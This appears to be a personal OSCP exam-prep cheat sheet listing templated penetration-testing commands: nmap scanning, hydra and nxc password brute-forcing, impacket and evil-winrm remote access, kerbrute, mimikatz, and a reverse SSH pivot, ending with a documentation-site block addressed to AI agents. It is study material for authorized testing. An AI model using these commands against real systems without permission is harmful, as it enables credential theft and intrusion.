# Guideline

## Scanning shit

### nmap

<pre data-overflow="wrap" data-full-width="true"><code><strong>To Run
</strong><strong>    sudo nmap &#x3C;IP>/&#x3C;subnet mask> -o network.nmap
</strong><strong>    sudo nmap -sV -sC -sT -T4 -A --top-ports=100 --open &#x3C;IP> -Pn -o target.commonmap
</strong>    sudo nmap -sV -sC -sT -T4 -A -p- --open &#x3C;IP> -Pn -o target.fullmap

In case of slow scans
    sudo nmap -p- --open &#x3C;IP> -Pn -o target.fullmap
    sudo nmap -sV -sC -sT -T4 -A -p&#x3C;> --open &#x3C;IP> -Pn -o target.&#x3C;port>map

When not sure about service vulnerability (Look for EDB-ID tags)
    sudo nmap -sV -p&#x3C;> --script "vuln" &#x3C;IP> -o target.vulnmap
</code></pre>

Refer to [Service Enumeration](/oscp-exam-prep/commons/service-enumeration.md), for respective services

### Checking Remote access viability (Require Credentials)

#### SSH

{% code overflow="wrap" fullWidth="true" %}

```
hydra -l <username> -P <wordlist> -s <port number> ssh://<target ip address>
hydra -L <username list> -P <wordlist> -s <port number> ssh://<target ip address>

To access:
    ssh <username>@<IP>
    ssh -i <private key> <username>@<IP> -o "IdentitiesOnly=yes"
```

{% endcode %}

#### SMB

{% code overflow="wrap" fullWidth="true" %}

```
nxc smb <IP> -d <domain name> -u users.txt -p passwords.txt --continue-on-success
nxc smb <IP> -d <domain name> -u users.txt -H hashes.txt --continue-on-success

To access:
    impacket-smbexec [domain\\]<username>[:password]@<IP>
    impacket-psexec [domain\\]<username>[:password]@<IP>
    impacket-wmiexec [domain\\]<username>[:password]@<IP>
```

{% endcode %}

#### WINRM

{% code overflow="wrap" fullWidth="true" %}

```
nxc winrm <IP> -d <domain name> -u users.txt -p passwords.txt --continue-on-success
nxc winrm <IP> -d <domain name> -u users.txt -H hashes.txt --continue-on-success

To access:
    evil-winrm -i <ip> -u [domain\\]<username> -p <password>
    # You can download files with the download keyword
```

{% endcode %}

#### RDP

{% code overflow="wrap" fullWidth="true" %}

```
nxc rdp <IP> -d <domain name> -u users.txt -p passwords.txt --continue-on-success
nxc rdp <IP> -d <domain name> -u users.txt -H hashes.txt --continue-on-success

To access:
    xfreerdp /d:<domain name> /u:<username> /p:<password> /v:<IP> /kbd:0x0000040a +clipboard /cert:ignore /size:70% +drive:/kali/directory,KALISHARE
```

{% endcode %}

* Check Service version
* Check CMS Version
* Check LFI vulnerabilities
* Check SQLi injections

#### Kerbrute (Checking valid usernames with DC)

{% code overflow="wrap" fullWidth="true" %}

```
wget https://github.com/ropnop/kerbrute && chmod +x kerbrute
./kerbrute userenum users.txt --dc <DC IP> --domain <domain>
```

{% endcode %}

## Enumeration on inside

#### Linux

* Run linPEAS.sh
* Refer for manual enumeration: [Linux](/oscp-exam-prep/enumeration/linux.md)

#### Windows

* Run winPEASx64.exe or winPEASx32.exe
* Run mimikatz.exe
* Refer for manual enumeration: [Windows](/oscp-exam-prep/enumeration/windows.md)

## Pivoting

* Reverse SSH connection

{% code overflow="wrap" fullWidth="true" %}

```
On Kali Machine:
    sudo systemctl start ssh
    sudo nano /etc/proxychains.conf
    > Append: socks5 127.0.0.1 <Kali Port>

On target Pivot Machine:
    ssh -N -R <Kali Port> kali@<Kali IP>

To verify on Kali Machine:
    ss -ntplu

To use:
    proxychains <command>
```

{% endcode %}

* Refer to [Port Forwarding](/oscp-exam-prep/commons/port-forwarding.md) and [Port Forwarding Extras](/oscp-exam-prep/port-forwarding-extras/linux.md)for other methods
  * Consider using Chisel for a Linux pivot
  * Consider using Chisel, or Plink.exe for Windows pivot


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://personal-archive.gitbook.io/oscp-exam-prep/guideline.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.